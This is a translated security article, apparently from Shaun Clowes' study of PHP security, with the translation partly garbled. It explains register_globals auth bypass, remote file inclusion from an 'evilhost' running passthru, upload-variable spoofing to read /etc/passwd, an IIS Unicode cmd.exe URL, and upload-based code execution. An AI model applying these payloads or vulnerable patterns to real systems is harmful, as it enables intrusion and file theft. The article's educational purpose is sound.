The reason for translating this article is that the current articles on CGI security take Perl as an example, while there are few articles specifically about ASP, PHP or JSP security. The Shaun Clowes article comprehensively introduces PHP security issues. The original Article can be found at http: // www.securereality.com. au/studyinscarlet.txt.
Because the original article is long and a considerable part of it is about the background of the article or the basic knowledge of PHP, it does not involve PHP security, so I have not translated it. For more information, see the original article.
This article mainly analyzes the security of PHP in terms of global variables, remote files, file uploads, library files, Session files, data types, and error-prone functions, some useful suggestions on how to enhance PHP security are also provided.
Let's get down to the truth!
[Global variables]
Variables in PHP do not need to be declared in advance. They are automatically created during the first use, and their types do not need to be specified. They are automatically determined according to the context. From the programmer's point of view, this is undoubtedly an extremely convenient processing method. Obviously, this is also a very useful feature of rapid language development. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers seldom initialize variables. After all, they are empty when they are created for the first time.
Obviously, the main functions of PHP-based applications generally accept user input (mainly form variables, upload files and cookies), and then process the input data, then return the result to the client browser. To make PHP code as easy as possible to access user input, PHP treats the input data as a global variable.
For example:
<Form method = "GET" ACTION = "test. php">
<Input type = "TEXT" NAME = "hello">
<Input type = "SUBMIT">
</FORM>
Obviously, a text box and a submit button are displayed. When a user clicks the submit button, "test. php" processes user input. When "test. php" is run, "$ hello" contains user input data in the text box. We can see from this that attackers can create arbitrary global variables as they wish. If the attacker does not call "test. php" through form input, but directly enters http: // server/test. php? Hello = hi & setup = no. Then, not only "$ hello" is created, but "$ setup" is also created.
Note: These two methods are the "POST" and "GET" methods we usually call.
The following user authentication code exposes the security issues caused by the global variables of PHP:
<? Php
If ($ pass = "hello ")
$ Auth = 1;
...
If ($ auth = 1)
Echo "some important information ";
?>
The above code first checks whether the user's password is "hello". If yes, set "$ auth" to "1" to pass authentication. If "$ suth" is "1", some important information will be displayed.
The table seems to be correct, and a considerable number of us do this, but this code makes a mistake of course, it assumes that "$ auth" is empty when no value is set, but does not expect the attacker to create any global variables and assign values. php? Auth = 1 "method, we can fool this code to make it believe we have already authenticated.
Therefore, to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. If there are many variables in the program, this is a very difficult task.
A common protection method is to check the variables in the array HTTP_GET [] or POST_VARS [], which depends on our submission method (GET or POST ). When PHP is configured to enable the "track_vars" option (this is the default value), the variables submitted by the user can be obtained in the global variables and the array mentioned above.
However, it is worth noting that PHP has four different array variables used to process user input. The HTTP_GET_VARS array is used to process the variables submitted by the get method. The HTTP_POST_VARS array is used to process the variables submitted by the post method. The HTTP_COOKIE_VARS array is used to process the variables submitted as cookie headers, for the HTTP_POST_FILES array (provided by newer PHP), it is completely an optional method for users to submit variables. A user request can easily store variables in these four groups. Therefore, a safe PHP program should check these four arrays.
[Remote File]
PHP is a language with rich features and provides a large number of functions, making it easy for programmers to implement a function. But from the security point of view, the more features, the more difficult it is to ensure its security. remote files are a good example of this problem:
<? Php
If (! ($ Fd = fopen ("$ filename", "r "))
Echo ("cocould not open file: $ filename <BR> ");
?>
The above script tries to open the file "$ filename". If it fails, an error message is displayed. Obviously, if we can specify "$ filename", we can use this script to browse any files in the system. However, this script also has a less obvious feature, that is, it can read files from any other WEB or FTP site. In fact, most PHP file processing functions are transparent to remote file processing.
For example:
If "$ filename" is specified as "http: // target/scripts/... % c1 % 1c ../winnt/system32/cmd.exe? /C + dir"
The above Code actually uses the unicode vulnerability on the target host to execute the dir command.
This makes the include (), require (), include_once () and require_once () Support for remote files more interesting in the context. The main functions of these functions include the content of the specified file, and they are interpreted according to the PHP code, mainly used on the library file.
For example:
<? Php
Include ($ libdir. "/ages. php ");
?>
In the above example, "$ libdir" is generally a path that has been set before code execution. If an attacker can make "$ libdir" not set, then he can change the path. However, attackers cannot do anything, because they can only access the file ages. php In the path they specify (the "Poison null byte" attack in perl does not work for PHP ). However, with support for remote files, attackers can do anything. For example, attackers can put a file named ages. php on a server, which contains the following content:
<? Php
Passthru ("/bin/ls/etc ");
?>
Then, set "$ libdir" to "http: // <evilhost>/", so that we can execute the above attack code on the target host, the content of the "/etc" directory is returned to the client's browser as a result.
It should be noted that the attack server (that is, evilhost) should not be able to execute PHP code; otherwise, the attack code will be executed on the attack server rather than the target server. If you want to know the specific technical details, see http://www.securereality.com.au/sradv00006.txt
[File Upload]
PHP automatically supports File Upload Based on RFC 1867. Let's look at the example below:
<Form method = "POST" ENCTYPE = "multipart/form-data">
<Input type = "FILE" NAME = "hello">
<Input type = "HIDDEN" NAME = "MAX_FILE_SIZE" VALUE = "10240">
<Input type = "SUBMIT">
</FORM>
The above Code allows the user to select a file from the local machine. After clicking submit, the file will be uploaded to the server. This is obviously a very useful function, but PHP's response method makes this function insecure. When PHP receives such a request for the first time, and even before it starts parsing the called PHP code, it will first accept the files of remote users, check whether the file length exceeds the value defined by "$ MAX_FILE_SIZE variable". If you pass these tests, the file will be stored in a local temporary directory.
Therefore, attackers can send arbitrary files to the host running PHP. When the PHP program has not decided whether to accept file uploads, the files are already stored on the server.
I will not discuss the possibility of DOS attacks on the server by using file upload.
Let's consider the PHP program that processes file uploads. As we mentioned above, the file is received and stored on the server (the location is specified in the configuration file, usually/tmp ), the extension is generally random, similar to the "phpxXuoXG" format. The PHP program needs to upload the file information for processing, which can be used in two ways, one is already used in PHP 3, the other is introduced after we propose a security bulletin for the previous method.
However, we can say with certainty that the problem still exists. Most PHP programs still use the old method to process uploaded files. PHP sets four global variables to describe the uploaded files. For example, the above example:
$ Hello = Filename on local machine (e. g "/tmp/phpxXuoXG ")
$ Hello_size = Size in bytes of file (e.g 1024)
$ Hello_name = The original name of the file on the remote system (e. g "c: emphello.txt ")
$ Hello_type = Mime type of uploaded file (e. g "text/plain ")
Then the PHP program starts to process the Files specified according to "$ hello". The problem is that "$ hello" is not necessarily a variable set by PHP, and can be specified by any remote user. If we use the following method:
Http: // vulnhost/vuln. php? Hello =/etc/passwd & hello_size = 10240 & hello_type = text/plain&hello_name=hello.txt
This leads to the following PHP global variables (of course, the POST method can also (or even Cookie )):
$ Hello = "/etc/passwd"
$ Hello_size = 10240
$ Hello_type = "text/plain"
$ Hello_name = "hello.txt"
The above form data meets the expected variables of the PHP program, but the PHP program does not process the uploaded files, but processes "/etc/passwd" (usually leading to content exposure ). This attack can be used to expose the content of any sensitive file.
As I mentioned earlier, the new version of PHP uses HTTP_POST_FILES [] to decide to upload files. It also provides many functions to solve this problem, for example, a function is used to determine whether a file is actually uploaded. These functions solve this problem well, but in fact many PHP programs are still using the old method and are very vulnerable to this attack.
As a variant of the file upload attack method, let's look at the following code:
<? Php
If (file_exists ($ theme) // Checks the file exists on the local system (no remote files)
Include ("$ theme ");
?>
If attackers can control "$ theme", it is clear that "$ theme" can be used to read any file on the remote system. The attacker's ultimate goal is to execute arbitrary commands on the remote server, but he cannot use remote files. Therefore, he must create a PHP file on the remote server. This seems impossible at first glance, but File Uploading helps us. If attackers first create a file containing PHP code on a local machine, create a form that contains the file field named "theme", and use this form to upload the created file containing PHP code to the above Code, PHP will save the file submitted by the attacker and set the value of "$ theme" to the file submitted by the attacker. In this way, the file_exists () function will pass the check, the attacker's code will also be executed.
After obtaining the ability to execute arbitrary commands, attackers obviously want to improve the permissions or expand the results. This requires a set of tools not available on the server, and the file upload has helped us again. Attackers can use the file upload tool to store files on the server. Then, they can use chmod () to change the File ACL and execute the command. For example, attackers can bypass the firewall or IDS to upload a local root attack program and then execute the program to obtain the root permission.